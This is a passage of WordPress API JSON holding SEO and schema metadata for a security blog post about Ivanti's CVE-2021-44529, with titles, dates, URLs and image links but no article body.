content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\\\/\"},\"author\":{\"name\":\"TH Author\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#\\\/schema\\\/person\\\/12e0a8671ff89a863584f193e7062476\"},\"headline\":\"Code Injection Or Backdoor: A New Look At Ivanti&#8217;s CVE-2021-44529\",\"datePublished\":\"2024-02-21T15:53:58+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\\\/\"},\"wordCount\":723,\"publisher\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/02\\\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529.jpg\",\"keywords\":[\"headline,hacker,flaw,backdoor\"],\"articleSection\":[\"CyberSecurity Blogs\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\\\/\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\\\/\",\"name\":\"Code Injection Or Backdoor: A New Look At Ivanti's CVE-2021-44529 2026 | ThreatsHub Cybersecurity News\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/02\\\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529.jpg\",\"datePublished\":\"2024-02-21T15:53:58+00:00\",\"description\":\"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/02\\\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529.jpg\",\"contentUrl\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/02\\\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529.jpg\",\"width\":512,\"height\":512},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"headline,hacker,flaw,backdoor\",\"item\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/tag\\\/headlinehackerflawbackdoor\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Code Injection Or Backdoor: A New Look At Ivanti&#8217;s CVE-2021-44529\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/\",\"name\":\"ThreatsHub Cybersecurity News\",\"description\":\"%%focuskw%% Threat Intel \u2013 Threat Intel Services \u2013 CyberIntelligence \u2013 Cyber Threat Intelligence - Threat Intelligence Feeds - Threat Intelligence Reports - CyberSecurity Report \u2013 Cyber Security PDF \u2013 Cybersecurity Trends - Cloud Sandbox \u2013- Threat IntelligencePortal \u2013 Incident Response \u2013 Threat Hunting \u2013 IOC - Yara - Security Operations Center \u2013 SecurityOperation Center \u2013 Security SOC \u2013 SOC Services - Advanced Threat - Threat Detection - TargetedAttack \u2013 APT \u2013 Anti-APT \u2013 Advanced Protection \u2013 Cyber Security Services \u2013 Cybersecurity Services -Threat Intelligence Platform\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#organization\"},\"alternateName\":\"Threatshub.org\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#organization\",\"name\":\"ThreatsHub.org\",\"alternateName\":\"Threatshub.org\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/05\\\/Threatshub_Favicon1.jpg\",\"contentUrl\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/05\\\/Threatshub_Favicon1.jpg\",\"width\":432,\"height\":435,\"caption\":\"ThreatsHub.org\"},\"image\":{\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/x.com\\\/threatshub\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.threatshub.org\\\/blog\\\/#\\\/schema\\\/person\\\/12e0a8671ff89a863584f193e7062476\",\"name\":\"TH Author\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g\",\"caption\":\"TH Author\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Code Injection Or Backdoor: A New Look At Ivanti's CVE-2021-44529 2026 | ThreatsHub Cybersecurity News","description":"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.threatshub.org\/blog\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\/","og_locale":"en_US","og_type":"article","og_title":"Code Injection Or Backdoor: A New Look At Ivanti's CVE-2021-44529 2026 | ThreatsHub Cybersecurity News","og_description":"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.","og_url":"https:\/\/www.threatshub.org\/blog\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\/","og_site_name":"ThreatsHub Cybersecurity News","article_published_time":"2024-02-21T15:53:58+00:00","og_image":[{"url":"https:\/\/www.labs.greynoise.io\/grimoire\/2024-02-what-is-this-old-ivanti-exploit\/img\/icon.jpg","type":"","width":"","height":""}],"author":"TH Author","twitter_card":"summary_large_image","twitter_creator":"@threatshub","twitter_site":"@threatshub","twitter_misc":{"Written by":"TH Author","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.threatshub.org\/blog\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\/#article","isPartOf":{"@id":"https:\/\/www.threatshub.org\/blog\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\/"},"author":{"name":"TH Author","@id":"https:\/\/www.threatshub.org\/blog\/#\/schema\/person\/12e0a8671ff89a863584f193e7062476"},"headline":"Code Injection Or Backdoor: A New Look At Ivanti&#8217;s CVE-2021-44529","datePublished":"2024-02-21T15:53:58+00:00","mainEntityOfPage":{"@id":"https:\/\/www.threatshub.org\/blog\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\/"},"wordCount":723,"publisher":{"@id":"https:\/\/www.threatshub.org\/blog\/#organization"},"image":{"@id":"https:\/\/www.threatshub.org\/blog\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\/#primaryimage"},"thumbnailUrl":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2024\/02\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529.jpg","keywords":["headline,hacker,flaw,backdoor"],"articleSection":["CyberSecurity Blogs"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.threatshub.org\/blog\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\/","url":"https:\/\/www.threatshub.org\/blog\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\/","name":"Code Injection Or Backdoor: A New Look At Ivanti's CVE-2021-44529 2026 | ThreatsHub Cybersecurity News","isPartOf":{"@id":"https:\/\/www.threatshub.org\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.threatshub.org\/blog\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\/#primaryimage"},"image":{"@id":"https:\/\/www.threatshub.org\/blog\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\/#primaryimage"},"thumbnailUrl":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2024\/02\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529.jpg","datePublished":"2024-02-21T15:53:58+00:00","description":"ThreatsHub Cybersecurity News | ThreatsHub.org | Cloud Security & Cyber Threats Analysis Hub. 100% Free OSINT Threat Intelligent and Cybersecurity News.","breadcrumb":{"@id":"https:\/\/www.threatshub.org\/blog\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.threatshub.org\/blog\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.threatshub.org\/blog\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\/#primaryimage","url":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2024\/02\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529.jpg","contentUrl":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2024\/02\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529.jpg","width":512,"height":512},{"@type":"BreadcrumbList","@id":"https:\/\/www.threatshub.org\/blog\/code-injection-or-backdoor-a-new-look-at-ivantis-cve-2021-44529\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.threatshub.org\/blog\/"},{"@type":"ListItem","position":2,"name":"headline,hacker,flaw,backdoor","item":"https:\/\/www.threatshub.org\/blog\/tag\/headlinehackerflawbackdoor\/"},{"@type":"ListItem","position":3,"name":"Code Injection Or Backdoor: A New Look At Ivanti&#8217;s CVE-2021-44529"}]},{"@type":"WebSite","@id":"https:\/\/www.threatshub.org\/blog\/#website","url":"https:\/\/www.threatshub.org\/blog\/","name":"ThreatsHub Cybersecurity News","description":"%%focuskw%% Threat Intel \u2013 Threat Intel Services \u2013 CyberIntelligence \u2013 Cyber Threat Intelligence - Threat Intelligence Feeds - Threat Intelligence Reports - CyberSecurity Report \u2013 Cyber Security PDF \u2013 Cybersecurity Trends - Cloud Sandbox \u2013- Threat IntelligencePortal \u2013 Incident Response \u2013 Threat Hunting \u2013 IOC - Yara - Security Operations Center \u2013 SecurityOperation Center \u2013 Security SOC \u2013 SOC Services - Advanced Threat - Threat Detection - TargetedAttack \u2013 APT \u2013 Anti-APT \u2013 Advanced Protection \u2013 Cyber Security Services \u2013 Cybersecurity Services -Threat Intelligence Platform","publisher":{"@id":"https:\/\/www.threatshub.org\/blog\/#organization"},"alternateName":"Threatshub.org","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.threatshub.org\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.threatshub.org\/blog\/#organization","name":"ThreatsHub.org","alternateName":"Threatshub.org","url":"https:\/\/www.threatshub.org\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.threatshub.org\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2025\/05\/Threatshub_Favicon1.jpg","contentUrl":"https:\/\/www.threatshub.org\/blog\/coredata\/uploads\/2025\/05\/Threatshub_Favicon1.jpg","width":432,"height":435,"caption":"ThreatsHub.org"},"image":{"@id":"https:\/\/www.threatshub.org\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/x.com\/threatshub"]},{"@type":"Person","@id":"https:\/\/www.threatshub.org\/blog\/#\/schema\/person\/12e0a8671ff89a863584f193e7062476","name":"TH Author","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/066276f086d5155df79c850206a779ad368418a844da0182ce43f9cd5b506c3d?s=96&d=mm&r=g","caption":"TH Author"}}]}},"_links":{"self":[{"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/posts\/55389","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/comments?post=55389"}],"version-history":[{"count":0,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/posts\/55389\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/media\/55390"}],"wp:attachment":[{"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/media?parent=55389"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/categories?post=55389"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.threatshub.org\/blog\/wp-json\/wp\/v2\/tags?post=55389"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}